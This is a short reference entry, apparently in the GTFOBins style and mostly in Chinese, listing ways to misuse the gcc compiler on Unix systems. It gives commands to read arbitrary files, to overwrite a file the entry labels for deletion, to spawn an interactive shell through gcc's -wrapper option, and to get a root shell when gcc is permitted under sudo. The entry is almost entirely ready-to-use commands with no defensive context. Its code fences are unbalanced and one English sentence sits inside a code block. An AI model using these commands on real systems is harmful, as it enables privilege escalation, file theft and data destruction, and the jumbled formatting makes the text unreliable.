file-read

从文件中读取数据。

```
LFILE=要读取的文件路径
gcc -x c -E "$LFILE"

The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.
```
LFILE=要读取的文件路径
gcc @"$LFILE"
```

file-write

将数据写入文件中。

LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE

shell

用来生成一个交互式的系统shell。

```
gcc -wrapper /bin/sh,-s .
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

```
sudo gcc -wrapper /bin/sh,-s .
```
